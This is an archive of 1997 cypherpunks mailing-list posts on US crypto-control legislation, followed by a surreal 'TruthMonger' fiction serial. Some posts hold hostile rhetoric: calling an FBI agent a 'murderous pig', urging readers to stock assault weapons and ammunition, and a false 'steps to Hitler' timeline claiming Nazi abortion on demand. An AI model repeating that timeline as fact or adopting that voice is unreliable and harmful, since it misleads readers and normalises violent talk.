>On Fri, Sep 12, 1997 at 02:01:59PM +0200, Anonymous wrote:
>> 
>[...]
>> As Tim and others have noted from time to time, one man's terrorist
>> is another man's freedom fighter.  A corollary to this is that one
>> man's policeman is another man's terrorist.  Calling Horiuchi - a
>> //trained sniper// - a policeman is stretching credulity.  Consider
>> too that the Weavers weren't threatening anyone when they were
>> initially attacked/ambushed by the Feds - so in what way were the 
>> Feds fulfilling a "policeman" role?
>> 
>> In any case, it wasn't really my intention to "compare" the deeds of
>> Horiuchi and McVeigh.  I was merely noting that the defense of
>> Horiuchi by Herr Direktor Freeh could have been used nearly
>> verbatim in McVeigh's behalf.  As you've pointed out, though, there 
>> /is/ that crucial difference though, isn't there?  One of them has a 
>> badge and gets paid by the taxpayers, which makes him a "policeman."

>That's a big difference, of course.

>Note also that terrorists and freedom fighters are *both* outside the 
>law, and are quite different from police.

That's right Kent it puts him in the big league with the agents of the
Gestapo, Russian Secret Police, and other jackbooted thugs throughout the
world.

When this murderious pig is executed for his crimes what I leave on his
grave will not be mistaken for roses.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thomas Junker" <tjunker@mail.phoenix.net>
Date: Sun, 14 Sep 1997 17:40:34 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A Reality Check & the Full Citizenship Campaign
In-Reply-To: <1.5.4.32.19970913235944.00814c1c@pop.pipeline.com>
Message-ID: <199709140946.EAA13017@raid2.fddi.phoenix.net>
MIME-Version: 1.0
Content-Type: text/plain



On 14 Sep 97 at 0:00, Vin McLellan wrote:

> 	Hmmm.  Isn't it time for a reality check?  Getting bent out of
> shape because the House Intelligence Community -- surely the legislators
> closest to the spooks and spies of the Permanent Government, and rather
> addicted to its product -- votes to outlaw cryptography without a backdoor
> seems to be excessive.

I disagree. "They" instinctively perceive that they have a PR
climate in which they have successfully elevated the Horsemen to
deities that no politician who values his reelection will challenge.
The whole situation has been engineered, in part for this moment.
They will do it this session if they can, otherwise next session.

If you haven't noticed, we are well down on the slippery slope of
acceptance of unconstitutional legislation and executive acts. 
With the substitution of outrageously unconstutional language for 
the original text of SAFE, the slope has just steepened dramatically 
and the edge above is pretty well out of reach.  

The problem is that no constitution has the power to enforce itself.
It depends entirely on a wide, usually mostly unstated agreement
that its principles are Very Important Things.  Liberia, you may
recall, copied the U.S. Constitution almost to the word, and it did
them no good whatsoever because the people were not imbued with the
spirit of the document.  It's quite remarkable that any semblance of 
our Constitution has lasted as long as it has, but it's pretty 
obvious that the general understanding and agreement that holds such 
things in place has passed below critical mass in the U.S.  The 
government is now moving into "anything goes" mode.  That's when the 
slope becomes nearly vertical.

> 	Declan or someone who tracks Congressional voting trends should
> double-check me, but I harbor doubt that the US Congress (or rather, the
> House of Represenatives) is about to vote and approve such a bill.

Some thought the same of the CDA. In a few years more some will be 
saying the same of some death camp bill. It's all relative, and the 
relative window in this step-wise game of incremental slavery is 
quite narrow these days.

> This Nation, and the rights of citizenship the state conceeds,
> were not defined and enumberated in terms of what will make police
> oversight and investigation most cost-effective.

Right, but it's illustrative of the problem that one writes, "and
the rights of citizenship the state concedes," because this nation
was founded on no such basis.  The state conceded nothing because the
state was considered to have no natural powers, unlike the
contemporary view in the rest of the world then, and for the most
part, now.  Both the Declaration of Independence and the Constitution
make it pretty clear that the foundation for the U.S. government is
the delegation of powers from individuals endowed with natural
rights.  Most of the rest of the world still functions on the model
of a soveriegn state which graciously grants rights to its
citizen-units and can withdraw them by the same power.  It's a
fundamental differenc that few people outside the U.S. even
contemplate.

Also, as has been suggested in another post, this is about *money*,
not national security. Or it's about *power*. Or *money* as the
lifeblood of *state power*. I doubt there is a politician or 
bureaucrat above the level of Mayberry who actually fears *any* of 
the Horsemen. On the contrary, the Horsemen are the statists' best 
friends. Without the hyped dangers there would be little excuse for 
the stepwise evisceration of the Constitution and the construction of 
the most technologically advanced police state in the history of 
mankind.

This latest assault on the Constitution was inevitable. Only the 
timing may have been affected by pro-crypto legislative efforts. 

Major grabs of power are almost always preceded by a period of 
softening up by PR bombardment, exactly what we've been seeing for 
the last couple of years. Any time you see a concerted PR campaign 
to demonize something it's a lead pipe cinch that it will culminate 
in a move to grab power. Trace things back to the beginning of the PR 
campaign and that's the point in time when the ultimate objective was 
already in the sights of the movers and shakers behind the campaign.

TJ





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thomas Junker" <tjunker@mail.phoenix.net>
Date: Sun, 14 Sep 1997 17:45:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Letter to Senator Bryan, was Re: Key Recovery is Bad for US
In-Reply-To: <v03102800b0408bd4b2e1@[10.0.2.15]>
Message-ID: <199709140953.EAA16689@raid2.fddi.phoenix.net>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Sep 97 at 21:45, Robert Hettinga wrote:

> At 2:40 pm -0400 on 9/13/97, Steve forwarded from Senator Bryan:
> 
> > of this technology. Unfortunately, encryption technology provides criminal
> > organizations, terrorists, drug traffickers, and child pornographers with
> > an effective method of shielding illegal activities from law enforcement
> > agencies.
> 
> Wow. Horseman city...
> 
> I wonder who gives them the idea for this stuff?  Wired should be banned
> from the confines of DC. ;-).

Note, too, how well the Senator firmly straddles the fence all
through the letter, agreeing somewhat with one position but
remaining concerned about the flip side.  It's a complete CYA job,
part of a library of boilerplate updated as the issues come and go,
and designed to make every correspondent feel like the Senator
understands the constituent's position regardless of what it may
really be. It's the ultimate in "reasonable," "responsible"
Newspeak and scarcely touched by human hands, much less Senatorial 
ones.

TJ





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 14 Sep 1997 21:21:14 +0800
To: "Thomas Junker" <cypherpunks@Algebra.COM
Subject: Re: A Reality Check & the Full Citizenship Campaign
In-Reply-To: <v03007800b04118f6f67d@[198.115.179.81]>
Message-ID: <3.0.2.32.19970914061202.006c2168@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:34 AM 9/14/97 -0500, Thomas Junker wrote:
>On 14 Sep 97 at 0:00, Vin McLellan wrote:
>> 	Declan or someone who tracks Congressional voting trends should
>> double-check me, but I harbor doubt that the US Congress (or rather, the
>> House of Represenatives) is about to vote and approve such a bill.
>
>Some thought the same of the CDA. In a few years more some will be 
>saying the same of some death camp bill. It's all relative, and the 
>relative window in this step-wise game of incremental slavery is 
>quite narrow these days.
>
>> This Nation, and the rights of citizenship the state conceeds,
>> were not defined and enumberated in terms of what will make police
>> oversight and investigation most cost-effective.
>
>Right, but it's illustrative of the problem that one writes, "and
>the rights of citizenship the state concedes," because this nation
>was founded on no such basis.

The key thing to realize is that the power of the state in the US derives
from the will of the governed. What Cypherpunks tend to ignore is the
simple fact that the governed want to be governed. The People want
warrantless wiretaps, they want crypto to be outlawed, they want the death
penalty for anyone that passes a joint to their kids. That they arrived at
these wants due to propaganda is irrelevant. Congress simply reflects the
will of the People. If you doubt this fact, just conduct a poll that asks
the following question:

"Should suspected nuclear terrorists and child molesters be allowed to
engage in their activities unchallenged OR should the government be enabled
to have access to all plaintext?"

Crowley would argue that this is not their True Will. Correct, but since
the People are not going to discover their True Will, who cares?


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sun, 14 Sep 1997 20:08:02 +0800
To: Omegaman <omega@cmq.com>
Subject: Re: Court proceedings under new SAFE act]
In-Reply-To: <19970913153616.25353@cmq.com>
Message-ID: <199709141158.HAA18846@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Omegaman writes:

: What if I respond to Adam Back and accidently forget to snip his .sig? 
: (if that's not prior restraint, I don't know what is!)

What it is, under current law, is a violation of Export Administration
Regulations, unless you somehow get a license before you send the
reply.  Of course, if you send the reply in hard copy you would be all
right under the EAR, though it would seem to be a violation to
distribute the reply in the United States, if the proposed legislation
were to be enacted.


--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sun, 14 Sep 1997 23:07:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A Reality Check & the Full Citizenship Campaign
In-Reply-To: <v03007800b04118f6f67d@[198.115.179.81]>
Message-ID: <3.0.3.32.19970914080508.00718784@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713731.multipart/signed"

--Boundary..3984.1071713731.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 04:34 AM 9/14/97 -0500, Thomas Junker wrote:
>If you haven't noticed, we are well down on the slippery slope of
>acceptance of unconstitutional legislation and executive acts. 
>With the substitution of outrageously unconstutional language for 
>the original text of SAFE, the slope has just steepened dramatically 
>and the edge above is pretty well out of reach.  
>
>The problem is that no constitution has the power to enforce itself.
>It depends entirely on a wide, usually mostly unstated agreement
>that its principles are Very Important Things.  Liberia, you may
>recall, copied the U.S. Constitution almost to the word, and it did
>them no good whatsoever because the people were not imbued with the
>spirit of the document.  It's quite remarkable that any semblance of 
>our Constitution has lasted as long as it has, but it's pretty 
>obvious that the general understanding and agreement that holds such 
>things in place has passed below critical mass in the U.S.  The 
>government is now moving into "anything goes" mode.  That's when the 
>slope becomes nearly vertical.

If this is correct, expect some major anti-gun legislation in the next few
years. Even if government is totally evil, the people can still protect
themselves from jack-booted thugs if they are sufficiently well-armed. This
means owning assault weapons. Get them while you can, they're going
fast...and LOTS of ammunition.

>> 	Declan or someone who tracks Congressional voting trends should
>> double-check me, but I harbor doubt that the US Congress (or rather, the
>> House of Represenatives) is about to vote and approve such a bill.
>
>Some thought the same of the CDA. In a few years more some will be 
>saying the same of some death camp bill. It's all relative, and the 
>relative window in this step-wise game of incremental slavery is 
>quite narrow these days.

The process that brought Hitler is very similar to what is happening in the
US today.

1. All guns had to be registered. (much of this work was done by Hitler's
predecessors, but it made his job much easier.)

2. Abortion was made available on demand.

3. Euthanasia was made available for the terminally ill, then encouraged
for the elderly and feeble-minded.

4. Privately owned guns were confiscated. Freedom of speech and press was
curtailed.

5. Euthanasia gradually began to be applied to Communists, labor union
organizers, Jews, homosexuals, religious leaders, and anyone else who
opposed the government, eventually requiring the death camps to process all
those requiring euthanizatrion.

Most Germans didn't wake up to the situation until it was too late. Martin
Neimoller's quote "...and when they came for me, I couldn't say anything,
because there was nobody left to speak for me" (paraphrased) is one of the
most damning indictments of the sheeplike tendencies of most people. At
this time, we are working on steps 3 and 4 in the US.

>> This Nation, and the rights of citizenship the state conceeds,
>> were not defined and enumberated in terms of what will make police
>> oversight and investigation most cost-effective.
>
>Right, but it's illustrative of the problem that one writes, "and
>the rights of citizenship the state concedes," because this nation
>was founded on no such basis.  The state conceded nothing because the
>state was considered to have no natural powers, unlike the
>contemporary view in the rest of the world then, and for the most
>part, now.  Both the Declaration of Independence and the Constitution
>make it pretty clear that the foundation for the U.S. government is
>the delegation of powers from individuals endowed with natural
>rights.  Most of the rest of the world still functions on the model
>of a soveriegn state which graciously grants rights to its
>citizen-units and can withdraw them by the same power.  It's a
>fundamental differenc that few people outside the U.S. even
>contemplate.

Of course, this fundamental truth is not taught in public schools anymore,
the better to condition the populace to embrace step 5. You have to be one
of those home-school nuts or be able to afford a good private school to
learn _real_ history.

>Also, as has been suggested in another post, this is about *money*,
>not national security. Or it's about *power*. Or *money* as the
>lifeblood of *state power*. I doubt there is a politician or 
>bureaucrat above the level of Mayberry who actually fears *any* of 
>the Horsemen. On the contrary, the Horsemen are the statists' best 
>friends. Without the hyped dangers there would be little excuse for 
>the stepwise evisceration of the Constitution and the construction of 
>the most technologically advanced police state in the history of 
>mankind.

Obviously, Big Brother cannot propagandize "We hate strong crypto, because
anonymous e-cash allows people to untraceably move funds anywhere in the
world without our knowledge, avoid paying taxes, and create anonymous dead
pools we can't trace or regulate." So the Horsemen are Big Brother's only
option.

>This latest assault on the Constitution was inevitable. Only the 
>timing may have been affected by pro-crypto legislative efforts. 
>
>Major grabs of power are almost always preceded by a period of 
>softening up by PR bombardment, exactly what we've been seeing for 
>the last couple of years. Any time you see a concerted PR campaign 
>to demonize something it's a lead pipe cinch that it will culminate 
>in a move to grab power. Trace things back to the beginning of the PR 
>campaign and that's the point in time when the ultimate objective was 
>already in the sights of the movers and shakers behind the campaign.
>
>TJ

Those who do not learn history are condemned to repeat it.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

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Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00005.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IFYxSFNKNnZ4K0RT
WkREWlZrTE14ZTFqK2FQeVdMNzUyCgppUUEvQXdVQk5CdjlpTUpGMGtYcXB3
M01FUUlKRkFDZUoxblo1ZkVKZE53ek1kVkVoRm9pN3ZjNGdqNEFuUmNkCnF4
eHBKb0FpWXYvcVFxSlNGZjRWMXFLbgo9RmcrcgotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3984.1071713731.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 15 Sep 1997 01:03:40 +0800
To: Jonathan Wienke <cypherpunks@Algebra.COM
Subject: Re: A Reality Check & the Full Citizenship Campaign
In-Reply-To: <199709140946.EAA13017@raid2.fddi.phoenix.net>
Message-ID: <v03102809b041ba2c93f3@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Obviously, Big Brother cannot propagandize "We hate strong crypto, because
>anonymous e-cash allows people to untraceably move funds anywhere in the
>world without our knowledge, avoid paying taxes, and create anonymous dead
>pools we can't trace or regulate." So the Horsemen are Big Brother's only
>option.

So, if these "instruments of freedom" could only be useful to criminals,
then the last great hope for our country may be in the hands of
drug-trafficers, terrorists and the like, since only they will be free ;-)

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bianca <bianca@dev.null>
Date: Sun, 14 Sep 1997 23:43:53 +0800
To: cypherpunks@toad.com
Subject: InfoWar 9 (Part III of 'The True Story of the InterNet')
Message-ID: <341C0129.41EA@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Distributed Chapter 
Death of InfoWar



Distributed Chapter


? the Lunatic was sitting at his keyboard, trying to concentrate,
but it was increasingly difficult as the number of pickets outside
his house grew larger.

He had used his weekend pass to go to his house in Bienfait, as
usual, to work on his secret project. However, his project didn't
seem to be as secret as it used to be. Now he had dozens of anti-nuclear
demonstrators picketing outside, day and night.

Maybe he shouldn't have mentioned he was building a nuclear bomb
on the InterNet.


Subject: Re: Nightmare Scenario: Public Key Distribution Controlled

From: John Young <jya@pipeline.com>
To: cypherpunks@toad.com

Does the following provision of the amendment lighten  Tim's dim
glim?

§ 2804. Encryption products manufactured and intended
for use in the United States ...
(d) USE OF PRIOR PRODUCTS LAWFUL.-- After January 31, 2000, it
shall not be unlawful to use any encryption product purchased
or in use prior to such date.

[Bottom page 13]

That gives about 450 days to widespread stego, surrept onions
and backchannels to prepositioned stashes.

Or, say to hell with it, coders will forever evade USCoders.


Jonathan was trying to explain to the other members of the Magic
Circle gathered around the table that the information Adam Back
had accessed to write a chapter for 'InfoWar' had not been part
of the InformEnergy that had been sent to ? the Lunatic through
the Trei Transponder.

"Who the hell is '? the Lunatic'?" Priscilla
asked, perplexed.

"It's the current Net persona assumed by our madman. Our
contact to the past, except that he's away from the 'Home' for
the weekend and we can't contact him." the Cowboy
didn't look very happy with the situation.

"Oh, Uuhh...why can't I think of his name?" Priscilla
looked puzzled, once again.

"None of us can." Alexis said, glumly. "Not
even himself."

Each of them looked at one another and silently agreed that they
'weren't going to go there,' as the saying was in the era they
had been studying. None of them really wanted to face the full
import of what this curious mental energy tie to a madman from
the past meant for their own future.


"We won't get fooled again."

Where did that thought come from?
? the Lunatic could no longer tell where any of his thoughts were
coming from. Or where the hell they were going to,
for that matter.

He seemed to be safe from the ThoughtPolice and the MindThieves
as long as he was at home on the weekends, wearing his 'special
hat'. He had managed to sneak some aluminum foil out of the kitchen
at the 'Home' and make another 'special hat,' but that one didn't
work, for some strange reason. 
Maybe they were putting something in the water...

But that still wouldn't explain how Adam Back had managed to tap
into Jonathan's dream that ? the Lunatic had had the night before
he left the 'Home.'
How did Back get that information? And why was ? the Lunatic having
dreams that didn't belong to him? He knew he was crazy, he had
resigned himself to that long ago, but at least it was his
craziness, back then. Now it seemed to be somebody else's craziness
that was inside his head.

"Maybe everybody's craziness!"

Where the hell did that thought come from?
? the Lunatic knew that something weird was going on, but he really
didn't want to think about it right now...or about what it
portended for his future.


Subject: Re: Real issue of crypto controls: security or taxation
loss?
From: Robert Hettinga <rah@shipwright.com>
To: cypherpunks@toad.com, e$@thumper.vmeng.com

Fred Hapgood wrote:
>  Health and security are the governing superstitions of
our age.

Hmmmm... "My country 'tis of thee, land of gerontocracy"...

:-).

> What are you saying here?  That we should be arguing that
encryption should be 
> permitted because it will allow people to avoid paying  taxes?
 I'm afraid the set 
> of people that would respond well to that  argument is not
was large as you would
> hope.

Amen. I, for one, say that the only hope is technological. If
you make commerce and
finance cheaper without book entries, then book entry taxation
and regulation go away.

Hope we don't get fooled again, and all that, but at least
you don't have Archie* 
looking up your dress anymore...

Cheers,
Bob Hettinga

*WWI pilot expression for anti-aircraft fire. Named for a music
hall
character with very shiny shoes. Hmmm^2. A cypherpunk neologism,
anyone?
I'll use it if you will...

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and
antiquity,
[predicting the end of the world] has not been found agreeable
to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman
Empire'
The e$ Home Page: http://www.shipwright.com/


"Who the fucking hell is Robert fucking
Hettinga?"

The Cowboy was getting more and more pissed off at the others
around the old oak table bringing people up in their conversation
who he had no idea of who the hell they were.
He didn't realize that the people bringing up their names had
no idea who the hell they were, either. "Well, Alexis?"

Alexis looked confused, and just shrugged her shoulders.

"CypherPunk." Jonathan said, without looking
up from the charts he was building with the paper and Crayons
that he had fabricated with information he had found in the Museum
of Antiquities archives.

Jonathan drew several more lines between the various coconspirators
in the plot against the CypherPunks list before he noticed that
everyone around him had gone silent, and that they were waiting
for him to continue.
He looked up, sheepishly.

"Sorry. I didn't mean to be rude, it's just that my attention
span..."

Nobody was paying any attention to Jonathan. They were all lost
in various small tasks which seemed to consume all of their consciousness
and want more, as they were drawn deeper and deeper into...

Into what...?

"Nuke D.C." Bubba shouted, bringing everybody
up out of their chairs, shaking in their collective boots.
Bubba sat a bottle of "Bubba's Special Reserve" on the
table and gave everyone a fresh shotglass. Two ounces of 'liquid
attention' later, Jonathan resumed speaking as if he had never
stopped.

"Crypto-Financier extraordinare." Jonathan said.
"The Father of eCa$h."

Jonathan was lost in thought for a moment, wondering how to further
describe Hettinga's role in the late 1990's that was the main
focus of their present concern, and added,
"Basically, he came out of nowhere to become a major player
in a cross-breed between two of the most important areas of his
time...finance and encryption.
"He was a big fish in a small pond, but it was a pond full
of fish which were evolving, instead of moving toward extinction
and..." Jonathan paused to reflect on what he knew
of Hettinga's overall history, "...he was a shark."

"No one could ever quite figure out whether he was a con
man, a government shill, or the front-man for some very powerful
figures who wanted to remain in the background so that they could
hold on to the reins of the dying financial empires at the same
time that they were grasping hold of the new, evolving world of
Electronic Finance.
"Regardless, he was a player."

"He was a player..." Jonathan said, looking
down, once again, at the chart of conspirators which seemed to
ebb and flow like the eternal Tao, with everything and everybody
becoming its opposite when viewed from a different perspective.


Subject: Real issue of crypto controls: security or taxation loss?

From: jf_avon@citenet.net
To: cypherpunks@toad.com
 CC: e$@thumper.vmeng.com

What is the real issue here, what makes the govt so insistent
about wanting to ban crypto? What is such a threat to them that
it makes them pass laws that are profoundly against the US constitution?
 

What causes their panic?
To this, all I can find of enough magnitude to put them in such
state is that they just recently *truly* realized that crypto
will, infinitely more than to threaten the security of the state,
threaten their very existence by putting them outside of the money
loop.

To paraphrase somebody, "individuals recognize taxation as
damage and routes their e$ around"

I think that *this* debate should be injected in the population
and the *bogus* "national security" debate should be
dismissed as, just that : bogus.  
Any comments about why we should *not* put most emphasis on the
 financial aspect of crypto?

Ciao
jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C


? the Lunatic knew that the next posts in this thread would be
about, before they even showed up on the list, and he knew who
they would be from.

Hettinga was moving the focus of his veiled attack on the CypherPunks
list from Tim May to the rationale behind the CypherPunks and
their basic objectives.
Hettinga would post apparently friendly posts with subliminal
messages about perverts peeking up skirts with their shiny shoes
(encryptionpervertsencryptionperverts) while schills like Avon
would back his efforts to shift the CypherPunks focus away from
privacy and toward financial encryption.

AvonSpookAvonSpook.
? the Lunatic typed on his keyboard, psychically willing his thoughts
onward toward their ultimate goal, though he had no idea where
that might be, so that unknown others would see what was so familiar
to him as the mark of the schills and pawns in the deadly game
that the secret government of Gomez and the Dark Allies was playing
with the CypherPunks minds. Subliminal mind-games meant to shift
the directions and bearing of the minds they played with, shifting
them 'ever so subtly' in new directions, until their thoughts
were so twisted and convoluted that they eventually went nowhere
at all.

> To paraphrase somebody, "individuals recognize taxation
as damage and routes 
> their e$ around"
Using a parody of John Gilmore's legendary battle cry against
censorship as a tool to serve the MoneyMongers.

"Thank God for TruthMonger. Thank God for Anonymous."

"Thank God for Distributed Mind!"

Where did those thoughts come from?
? the Lunatic looked furtively around, in his mind, as if it were
a large, dark space where the shadows at the edges formed the
shapes of figures which were not his. 

"Who goes there? Friend or Foe?" 
? the Lunatic found himself on his feet in front of his laptop,
his dog, Baby, looking around inquisitively, wondering where those
he was talking to were hidden. Baby started barking and running
around frenetically, exploring every hidden corner of the house
before coming back to ? the Lunatic's side and licking his hand.

"We won't get fooled again!"
This time, ? the Lunatic recognized it as a voice from his
past, but who?

Softly, he asked out loud..."Who?"


Subject: Re: Real issue of crypto controls: security or taxation
loss?
Date: Sun, 14 Sep 1997 01:22:07 +0200
From: Gary Howland <gary@hotlava.com>
To: cypherpunks@toad.com, e$@thumper.vmeng.com

> Any comments about why we should *not* put most emphasis
on the  
> financial aspect of crypto?

I disagree.  I think they want to read your mail.  I don't believe
they are  
scared of "digital bearer bonds" etc., although I do
believe that this is the 
most hyped issue on these mailing lists ...

Also, you will find that the govt does *not* want to ban financial
crypto
- it only wants to ban encryption - so how can you argue that
they are 
panicking because of the financial aspect of crypto?  You can't.
 

They panic because they can't read your mail.

Gary
-- 
pub  1024/C001D00D 1996/01/22  Gary Howland <gary@hotlava.com>

Key fingerprint =  0C FB 60 61 4D 3B 24 7D  1C 89 1D BE 1F EE
09 06 


Bubba Rom Dos lay quietly on the thick Afghani rug in the center
of the room, a gift from G. I. Gurdjieff, one of his mentors and
students.

"A teacher of metaphysics." was the simple way
Gurdjieff  described himself.

Bubba had grown increasingly troubled by the burgeoning effect
that the energy transfers from the Trei Transponder had been having
on all of them since their first use of it.
The ragged remnants of the Magic Circle had taken a bold and desperate
gamble in creating it from the small amount of information they
had on its original structure and the concepts upon which it worked.
One thing they had been certain of, however, was that if the Evil
One had ordered it banned and all existing models of it destroyed,
then there must be some function inherent in it which makes it
a bane of the Dark Forces.
And anything that was, in the heart of its essence, an antithesis
to the Evil One, to Gomez and the Dark Allies, would inevitably
prove to be  propitious for the Circle of Eunuchs. Of that much,
Bubba was absolutely certain, beyond doubt.

If it didn't kill them... 


Death of InfoWar


? the Lunatic was at a loss to understand why and how he was becoming
increasingly clear as to what was taking place in his mind and
in the world around him.

He had been TruthMonger...he knew that now.
But so had others. It was a multi-user personality that had been
used by the Circle of Eunuchs to share communications between
the small, independent cells of guerrillas spread throughout the
globe. It had served to act as a contrary force to the increasing
hold that the subliminal messages of the Dark Forces were having
on the generation which had been thrown into a rapidly developing
world where information and communication ruled the roost, and
where those that ruled the medium which spawned their progeny
would rule the world, by default.

"Rule the InterNet  Rule the World"  
                               ~ the Head Hacker

TruthMonger messages were a tellurian reflection of the macrocosm
around them which cried out for balance, above all things.
Whenever the Universe became bent too out of shape, in one direction
or another, the Law of Balance would snap it back into place...in
a cataclysmic orgy of rectification, if need be. While the Forces
of Light and the Forces of Darkness fought their grand battles
on the field of human kind, the Tao watched and waited, favoring
neither one nor the other...determined that neither should
triumph...that order and chaos would govern as peers, or perish
and be reborn in never-ending tempestuous cycles, as enemies.

tao teh ching lao tse

Under heaven all can see beauty as beauty only because there
is ugliness.
                  All can know good as good only because there
is evil.

                    Therefore having and not having arise together.

                      Difficult and easy complement each other.

                         Long and short contrast each other:
                         High and low rest upon each other;
                       Voice and sound harmonize each other;
                         Front and back follow one another.

             Therefore the sage goes about doing nothing, teaching
no-talking.
                   The ten thousand things rise and fall without
cease,
                               Creating, yet not.
                          Working, yet not taking credit.
                           Work is done, then forgotten.
                            Therefore it lasts forever.

TruthMonger, whoever it might be at any given point in time, was
a persona that was the antithesis of itself.
That's the way Bubba Rom Dos always described it, and he was,
despite his many shortcomings, the Chief Non-Spokesperson for
the Circle of Eunuchs, just as Tim C. May was the Chief Non-Spokesperson
for the CypherPunks.

Symbolically speaking, of course.
As a matter of actual practice, TruthMonger and Anonymous served
as the traditional Chief Spokespersons for the Magic Circle and
the CypherPunks, respectively. Under these personas, members of
both assemblages were able to make any statement, take any stance,
hold forth any belief, value, or ideal, without their communications
bearing any of the burdens of their normal Net personas.
They represented the Tao of Electronic Communication.

? the Lunatic reached for the bottle of Jim Beam that had mysteriously
appeared on his desk as he read the chapter of Part III which
had been contributed by Adam Back.
Had Adam Back actually managed to hack the FAPI module, based
on ? the Lunatic's dream? Jonathan's dream, actually. 
A dream that ? the Lunatic had shared with no one...

He knocked back a shot and thought about the 'Death of the CypherPunks'
which had been announced far and wide toward the end of the 'moderation
experiment' on the CypherPunks mailing list.
And he thought about the InfoWar, which had somehow been born
and died within the exceedingly short period of time, mysteriously
intertwined with the beginning of the 'moderation experiment /
censorship crisis,' the death of the 'old' list, and the birth
of the new, 'distributed' list which had risen like a Xenix from
the ashes.

"Where the hell did InfoWar go?"

? the Lunatic jumped out of his chair once again, with Baby jumping
up in unison, once again looking quizzically at her human companion.

The voice was real! It was as real as any voice ? the Lunatic
had ever heard. It wasn't his voice, but it wasn't a foreign
voice, either. 
It was the voice of neither friend nor foe...the voice of the
Tao? It certainly didn't fit the description of the still, small
voice said to be the 'whisper' of the Tao.

The Tao that can be told is not the eternal Tao.
The name that can be named is not the eternal name.
The nameless is the beginning of heaven and Earth.
The named is the mother of the ten thousand things.

? the Lunatic felt Baby pawing at his leg and he looked down at
her to see her looking back up into his eyes. She lowered her
paw and sat beside him, holding his gaze, as if seeking to communicate
something. Was he going crazy?
Baby whined just a little, but continued to stare into his eyes,
as if she was attempting to share some marvel with him.

Baby whined, once again, and he knew from her tone that he was
right, but he had no idea what she was trying to communicate.

Instinctively, ? the Lunatic reached over to his computer and
searched for a synonym for 'marvel'...phenomenon!

"You heard it, too!" he said, looking at Baby,
as unbelieving as he was certain that he was not only right, but
that he had finally lost what little was left of his rational
mind.

Baby jumped up into his arms, sending them both crashing onto
